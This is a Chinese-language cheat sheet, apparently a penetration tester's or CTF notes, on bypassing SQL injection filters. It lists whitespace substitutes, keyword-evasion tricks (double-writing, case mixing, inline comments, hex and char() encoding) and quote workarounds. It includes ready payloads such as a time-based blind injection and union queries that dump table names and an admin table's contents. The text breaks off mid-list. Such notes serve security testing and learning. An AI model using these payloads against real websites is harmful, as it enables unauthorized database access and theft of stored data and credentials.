0x01[过滤绕过]

  • 绕过空格

    • /**/
    • /!/
    • <>
    • %0a 换行符
    • %a0 空格
    • %09 [TAB水平]
    • %0c [新页]
    • %0d [return]
    • %0b [TAB垂直]
    • %20 [空格]
    • () [括号包围子查询,括号两端可以没有空格,注意语法正确性]

      • [例如:?id=1'and(sleep(ascii(mid(database()from(1)for(1)))=109))%23]
      • [select name,ip from admin where age='1'and'0'union(select(1),(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())%23]
      • [select name,ip from admin where age='1'and'0'union(select(1),group_concat(pwn)from(ltlt.admin))%23]
  • 绕过单词

    • 双写绕过 [uniunionon]
    • 大小写混淆绕过 [UnIoN]
    • 内联绕过 [/!union/]
    • 注释符分割绕过 [uni/**/on]
    • 尖括号分割绕过 [un<>ion]
    • Hex编码绕过 [过滤了引号的时候,无法把单词引起来的时候可以使用16进制编码pass-->0x70617373] 关于hex和unhex我的一些想法,如果是过滤了某些关键字符串,可以尝试使用 ... like(unhex(74657374)) 这种 其中74657374是hex('test')
    • char()绕过 [比如过滤了尖括号,过滤了0x,可以使用char(ascii)绕过 详见SQL/直接写入一句话] 关于char()我的一些想法,如果是匹配数字,构造数字,char(49)是1 char(49)*127就是127 而char(57)+char(57)就是18
  • 绕过符号

    • ' " 引号被过滤的时候,没法包裹语句 可以使用Hex编码绕过 [参见绕过单词]
    • ' " 引号被过滤的时候,也没法使用引号,可以使用转义符号进行闭合,但是有要求